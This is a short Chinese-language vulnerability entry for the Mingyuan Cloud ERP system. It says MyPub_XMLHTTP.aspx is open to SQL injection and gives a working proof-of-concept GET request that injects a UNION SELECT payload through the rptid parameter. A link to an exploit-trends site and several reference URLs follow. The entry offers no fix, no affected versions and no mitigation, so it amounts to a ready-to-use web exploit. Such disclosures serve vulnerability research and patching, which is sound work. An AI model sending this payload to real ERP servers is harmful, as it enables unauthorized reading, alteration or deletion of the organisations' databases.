Description
明源云-ERP MyPub_XMLHTTP.aspx 文件存在SQL注入漏洞，使得攻击者能够获取、修改或删除数据库中的数据，甚至可能执行服务器上的任意代码。
明源云-ERP MyPub_XMLHTTP.aspx SQL注入漏洞
PoC
GET /Sldzkp/DZKP/MyPub_XMLHTTP.aspx/?ywtype=GETPRINTVAL&rptid=1%27+UNION+ALL+SELECT+NULL%2C%40%40version%2CNULL%2CNULL-- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.wlaqsys.com/archives/12403
https://www.gm7.org/archives/35715
https://cn-sec.com/archives/4956748.html
https://github.com/plbplbp/loudong001/blob/main/%E6%98%8E%E6%BA%90%E4%BA%91/%E6%98%8E%E6%BA%90%E4%BA%91ERP%E6%8E%A5%E5%8F%A3VisitorWeb_XMLHTTP.aspx%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://www.yingjikeji.cn/sys-nd/668.html
https://www.ddpoc.com/poc/DVB-2023-4937.html
https://www.cnblogs.com/0day-li/p/19007085